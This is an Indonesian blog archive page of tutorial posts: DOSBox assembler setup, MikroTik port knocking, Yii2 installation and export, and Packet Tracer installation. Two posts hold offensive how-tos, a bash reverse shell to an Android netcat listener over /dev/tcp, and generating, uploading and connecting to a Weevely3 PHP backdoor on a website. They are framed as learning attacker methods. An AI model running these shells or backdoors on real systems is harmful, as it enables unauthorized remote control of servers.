Showing posts with label tutorial. Show all posts
Showing posts with label tutorial. Show all posts

Tuesday, 6 March 2018

Cara Menjalankan Program Assembler di Windows 64bit

 
Tutorial yang akan bahas sekarang yaitu bagaimana kita menjalankan bahasa Assembly (Low Level Programing Language) di Sistem Operasi windows 64 Bit.

Bahan-bahan yang harus disiapkan yaitu:
  1. Aplikasi Dosbox. Bisa didownload disini.
  2. File Debug-X. disini. 
Selanjutnya yaitu langkah-langkahnya:
  • Pertama yaitu  install DosBox terlebih dahulu.
  • Setelah selesai buka hasil download Debug tadi.
  • Copy dan paste ke-2 file tersebut ke dir (C:\Windows\SysWOW64).
  • Lalu buka aplikasi DOSBox yang sudah diinstal tadi.
 
  • Kemudian ketikan
mount c c:\windows\syswow64 (Enter)

  • Ketikan “ c: ” untuk masuk ke drive C:.
  •  Dan akhirnya aplikasi sudah bisa dijalankan di sistem windows 64bit.

Tuesday, 5 September 2017

Meremote Komputer Linux di Android Menggunakan Reverse TCP Shell



Dalam tutorial kali ini akan membahas mengenai bagaimana cara meremote menggunakan reverse shell. Logikanya seperti berikut komputer dijadikan sebagai server yang akan menghubungi ponsel android, dan ponsel android tersebut yang akan mendengarkan / Listening port yang di gunakan untuk menghubungi ponsel android tersebut.
Metode ini digunakan untuk mempelajari bagaimana cara attacker meremote suatu server tanpa menggunakan SSH.
Sebelum memulai ponsel kita harus terinstall termux.

1. Pertama buka aplikasi termux-nya di ponsel, kemudian kita lihat ip berapa yang dipakai oleh ponsel tersebut.
ifconfig
2. Setelah muncul kemudian ketik perintah.
nc -l -p 8888
3. Selanjutnya masuk terminal komputer lalu ketikkan perintah.
bash -i >& /dev/tcp/IP ANDROID/8888 0>&1
Rincian :
Warna biru adalah IP dari ponsel.
Warna merah adalah port yang dilisten dari aplikasi termux di android tadi.


4. Langkahnya sudah selesai. Sebagai pembuktiannya bisa dibuka lagi aplikasi termux di ponsel tadi. Jika console dari komputer sudah muncul maka remote kita sudah berhasil.
Jika ingin menampilkan rincian bisa pakai perintah "uname -a" dan "lsb_release -a" seperti gambar dbawah ini.


  

Sunday, 27 August 2017

Menggunakan Port Knocking Untuk Mengamankan Mikrotik



Port Knocking adalah suatu metode yang dapat dilakukan untuk membuka akses ke port tertentu yang telah diblock oleh Firewall pada perangkat jaringan dengan cara mengirimkan paket atau koneksi tertentu. Koneksi itu bisa berupa protocol TCP, UDP maupun ICMP.

Dengan metode ini, perangkat jaringan seperti Router akan lebih aman, sebab admin jaringan bisa melakukan blocking terhadap port-port yang rentan terhadap serangan seperti Winbox (tcp 8291), SSH (tcp 22), Telnet (tcp 23) atau webfig (tcp 80). Jika dilakukan port scanning port-port tersebut terlihat tertutup.




Caranya sebagai berikut:




1. Masuk ke system dengan menggunakan winbox dulu.

2. Buatlah rule firewall dulu.


Pilih IP > Firewall > Tanda +

3. Sesuaikan yang di Tab General dengan gambar berikut.






4. Masuk ke Tab Action.









5. Setelah selesai, selanjutnya kita buat rule yang ke-2.

6. Klik tombol +, pada bagian Tab General sesuaikan pada gambar dibawah.






7. Pada bagian Tab Advanced.






8. Selanjutnya masuk Tab Action.






9. Sekarang kita buktikan apakah rule yang kita buat sudah bekerja atau belum. Disconnect dulu winboxnya.

10. Selanjutnya masuk kembali ke system.






11. Kalau tidak kunjung masuk maka konfigurasinya berhasil. Jadi untuk mengakses mikrotik via winbox dan ssh, harus mengawali connection-handshake atau ping (Untuk melakukan perizinan).

12. Untuk bisa mengaksesnya kembali,ping ke ip interface mikrotik yang akan anda akses,misal 10.10.10.1








NB: untuk melihat waktu yang tersisa untuk akses mikrotik, terdapat di Ip -> Firewall -> Address List. Jika waktu tersebut habis, anda tidak bisa menambahkan lagi konfigurasi dimikrotik, dan akan disconnect (keluar) secara otomatis.







Referensi:

http://www.mikrotik.co.id/artikel_lihat.php?id=105

Tutorial BackConnect Menggunakan Weevely3

Weevely adalah salah satu web tools penetrasi test. shell web command line yang dirancang untuk administrasi server jarak jauh dan pengujian penetrasi. Terminal mengeksekusi kode remote sewenang-wenang melalui agen PHP tapak kecil yang berada di server HTTP. Lebih dari 30 modul membentuk administrasi web yang mudah disesuaikan dan backdoor pasca-eksploitasi untuk pemeliharaan akses, eskalasi hak istimewa dan pergerakan lateral jaringan, bahkan di lingkungan yang dibatasi.

Langkah untuk menggunakan tool ini:

1. Pertama perangkat kita harus sudah terinstall tools weevely3nya. Caranya:
git clone git://github.com/epinna/weevely.git
NB: Jika perangkat belum terintal "git" maka "sudo apt-get install git".

2. Setelah itu, install dependensi dari weevely, supaya weevely3 bisa berjalan tanpa error.
sudo apt-get install python-prettytable python-mako python-dateutil python-socks python-yaml python

3. Selanjutnya, masuk ke directory weevely3.
cd weevely3
4. Setelah itu, generate terlebih dahulu backdoor dari weevely3 nya menggunaka perintah. 
python weevely.py generate <password> <backdoor.php>

5. Upload file hasil output weevely tadi yang saya berinama "<bacdoor.php" ke website yang telah di siapkan.

6. Setelah terUpload, selanjutnya ke proses remote weevely nya.
python weevely.py http://website/path/backdor.php <password>

Jika sudah seperti gambar di atas berarti kita sudah berhasil masuk melalui backdoor yang di generate dari weevely. 

Referensi :
http://www.alinko.jp

Friday, 25 August 2017

Framework Yii2 : Reporting dengan Yii2-Export PDF, Excel dan Word via Composer



Hai Sobat!

Postingan ini adalah lanjutan dari install yii2 framework di linux. tema dari postingan ini adalah cara untuk export data online yii to PDF or Excel.

oke langsung ya sobat cekidoooot !!!!

Bahan :
1. Koneksi internet yang stabil
2. buka terminal dan masuk kedir yii2 nya, lalu ketikkan :
composer require --prefer-dist hscstudio/yii2-export "*"
(langkah ini agak lama prosesnya)


          TO PDF           

1. Buka Direktori vendor/hscstudio/yii2-export/templates/example.controller.php
2. Copy function actionExportPdf() ke xxController.php


3. Pastekan di file xxController.php nya
4. Copy file vendor/hscstudio/yii2-export/templates/mpdf/_pdf.php ke
views/folderxxnya/_pdf.php

5. Lalu edit _pdf.php nya sesuai kebutuhan
6. Lalu kita panggil URLNya 
index.php?r=xx/export-pdf


           TO Excell           

1. Copy function actionExportExcel2() ke xxController.php
2. Lalu kita tinggal edit script actionnya.


3. Kemudian sesuaikan file yang ada di vendor/hscstudio/yii2export/templates/opentbs/ms-excel.xlsx



4. Simpan dan kita eksekusi URLnya disini.
index.php?r=xx/export-excel2

Framework Yii2 : Install Yii2 framework di linux via Composer

kali ini saya akan membagikan tutorial cara install yii2 framework di linux. setelah seharian saya otak-atik browsing sana-sini akhirnya berhasil juga ya :D.

oke langsung aja ya kawan :

1. sebelum itu install dulu composernya dengan cara:
curl -sS https://getcomposer.org/installer | php
2. lalu pindahkan composer ke dir /usr/local/bin . dan ganti nama dengan composer.
sudo mv composer.phar /usr/local/bin/composer
3. lalu install asset pluginnya dengan cara:
composer global require "fxp/composer-asset-plugin:~1.1.1"
Sebelum itu buat akun Github dulu dan tokensnya (agar lbih mudah). dikarenakan nanti pas waktu penginsatalan akan dimintai token dari github

4. Selanjutnya masuk kedirektory web servernya. Saya menggunakan /var/www/html. 
cd /var/www/html
Karena saya menggunakan yii2 advanced maka:
composer create-project --prefer-dist yiisoft/yii2-app-advanced nama-folder-yang diinginkan
5. Lalu masuk kedir tadi (saya kasih nama project-yii2).

cd /project-yii2
6. Lalu tulis script ini untuk mengkonfigurasi yii2nya.
php init
7. Lalu edit profil database di common/config/main-local.php 
8. Setelah itu kita tinggal membuat database migrasi dengan cara:
./yii migrate
Sudah tinggal kita check di browser kita.


Thursday, 24 August 2017

Tutorial Install Packet Tracer 7 di Linux

Sedikit ulasan tenang Packet Tracer. Packet Tracer adalah simulator alat-alat jaringan Cisco yang sering digunakan sebagai media pembelajaran dan pelatihan, dan juga dalam bidang penelitian simulasi jaringan komputer.

Pada cisco packet tracer 7.0 ini memiliki tambahan fitur pada tampilan awal saat membuka aplikasinya akan muncul login page netacad.com, anda bisa langsung memasukkan akun netacad jika anda memilikinya. Fitur tambahan antara lain adalah kolom search nah pada kolom tersebut anda bisa mengetik perangkat apa yang anda cari dengan mengetik saja akan muncul perangkat yang anda cari.


Oke langsung siapkan Packet Tracer 7nya
  1. For Linux 32 Bit
  2. For Linux 64 Bit

Selanjutnya cara installnya sebagai berikut :
  • Sesudah selesai didownload silahkan buka foldernya.
cd Downloads/
  • Lalu extract paket tersebut dengan perintah.
tar -xvzf PacketTracer70_32bit_linux.tar.gz
  • Setelah selesai diextrack masuk folder extract tadi dengan perintah.
cd PacketTracer70/
  • Lalu install packetnya, dengan perintah.
./install
 Setelah itu akan muncul tulisan sbb:
Welcome to Cisco Packet Tracer 7.0 Installation

Read the following End User License Agreement “EULA” carefully. You must accept the terms of this EULA to install and use Cisco Packet Tracer.

Press the Enter key to read the EULA. <~~ Press the Enter Cisco Packet Tracer Software License Agreement IMPORTANT: PLEASE READ THIS CISCO PACKET TRACER SOFTWARE LICENSE AGREEMENT (THE "AGREEMENT") CAREFULLY. DOWNLOADING, INSTALLING OR USING THE CISCO PACKET TRACER SOFTWARE CONSTITUTES ACCEPTANCE OF THIS AGREEMENT. IF YOU DO NOT AGREE ........................ .......................... Cisco, Cisco Systems, and the Cisco Systems logo are registered trademarks of Cisco Systems, Inc. in the U.S. and certain other countries. Any other trademarks mentioned in this document are the property of their respective owners. Do you accept the terms of the EULA? (Y)es/(N)o Y
You have accepted the terms to the EULA. Congratulations. Packet Tracer will now be installed.
Enter location to install Cisco Packet Tracer or press enter for default [/opt/pt]:
Installing into /opt/pt

Not able to create and copy files to /opt/pt

Should we try to gain root access with sudo? [Yn] Y
[sudo] password for admin: password anda
Installing into /opt/pt
Copied all files successfully to /opt/pt
Should we create a symbolic link “packettracer” in /usr/local/bin for easy Cisco Packet Tracer startup? [Yn] Y
Type “packettracer” in a terminal to start Cisco Packet Tracer
Writing PT7HOME environment variable to /etc/profile

Cisco Packet Tracer 7.0 installed successfully

  • Nah, penginstallan sukses, lalu buka dengan terminal.
packettracer
  • Maka akan muncul tampilan utama netacad.com, silahkan masukkan akun anda jika memilikinya. Jika tidak klik guest login.